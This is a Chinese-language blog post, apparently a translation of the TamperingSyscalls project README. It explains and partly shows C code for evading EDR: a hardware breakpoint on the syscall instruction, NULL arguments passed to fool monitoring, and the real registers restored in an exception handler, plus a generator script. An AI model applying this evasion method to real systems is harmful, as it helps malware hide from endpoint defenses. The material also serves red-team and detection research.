rad9800 / TamperingSyscalls使用方法简介

99 阅读2分钟

篡改系统调用(TamperingSyscalls)

TamperingSyscalls是一个由两部分组成的新颖项目,包括参数欺骗和系统调用回传,这两个项目都滥用EH以颠覆EDR。这个项目由这两个项目组成,以便为直接的系统调用提供一个替代解决方案。

篡改系统调用。

  1. 设置一个全局EH,以后会用到。
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
  1. 在syscall指令的地址上设置一个硬件断点,该指令在Dr0寄存器上有字节0f05 。我们可以通过这种快速的内存字节搜索来定位系统调用存根的地址。
BYTE stub[] = { 0x0F, 0x05 };
for( unsigned int i = 0; i < (unsigned int)25; i++ )
{
	if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
		return (LPVOID)((DWORD_PTR)function + i);
	}
}
  1. 然后我们可以调用这个函数,将<=4个参数传递为NULL(这些参数往往是比较重要的参数,持有进程句柄等信息),我们还将EnumState设置为这个函数对应的Enum(这样我们以后就可以修复参数)。
  2. 虽然EDR对我们的参数有充分的反省,但它不能自信地做出我们正在执行恶意行为的判断,因为我们传递了NULL作为第一个<=4个参数。
  3. 然后EDR将返回系统调用号码(SSN)并将其存储在RAX中。如果你只对检索系统调用感兴趣,请查看这个存储库的剥离分支。
  4. 然后程序流向系统调用指令{ 0x0F, 0x05 },这时会碰到我们之前设置的断点。这时将抛出一个SINGLE_STEP异常,由我们在步骤1中设置的异常处理程序来处理。
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
  1. 这个异常处理程序将禁用Dr0的硬件断点,只有当Dr0和RIP匹配时,才会将Dr0寄存器的值设置为0(应该是当前的RIP)。
if( ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP )
{
	if( ExceptionInfo->ContextRecord->Dr7 & 1 ) {
		if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 ) {
			ExceptionInfo->ContextRecord->Dr0 = 0;
  1. 然后我们将修复我们之前设置为NULL的其余寄存器。之所以是4,是因为这个x64的调用惯例决定了我们使用RCX、RDX、R8、R9作为前4个参数,其余的都在堆栈中设置。可以在堆栈上手动设置这些>4个参数,但这超出了本项目的范围,因为这需要内联汇编。之所以是R10而不是RCX,是因为在每个系统调用的开始,存根mov r10, rcx ,因为RCX寄存器在下一条指令中被销毁。
case NTMAPVIEWOFSECTION_ENUM:
	ExceptionInfo->ContextRecord->R10 =
		(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->SectionHandle;

	ExceptionInfo->ContextRecord->Rdx =
		(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ProcessHandle;

	ExceptionInfo->ContextRecord->R8 =
		(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->BaseAddress;

	ExceptionInfo->ContextRecord->R9 =
		(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].arguments))->ZeroBits;

我们可以看到在这个例子中,我们正在修复NtMapViewOfSection的参数。

如何做

如果你想开始伪造EDR遥测,可以修改p[FunctionName]的定义,它们目前被设置为NULL。

生成

要生成所需的函数,请使用gen.py 。这支持以下两种情况

  • 逗号分隔的函数
python gen.py NtOpenSection,NtMapViewOfSection,NtUnmapViewOfSection

它将产生3个文件。TamperingSyscalls.cpp, TamperingSyscalls.h, and main.cpp。你可以#include "TamperingSyscalls.h" 到你的项目中。我们可以通过在p后面加上函数名来调用这些函数,例如pNtOpenSection(...);

限制条件

我们不能在NtSetThreadContext或它的变体上设置断点,因为它是用来设置调试寄存器的。有一段短暂的调试寄存器被设置的时间,但这是非常小的,我不认为我们会因为持有一个开放的Dr0而被发现。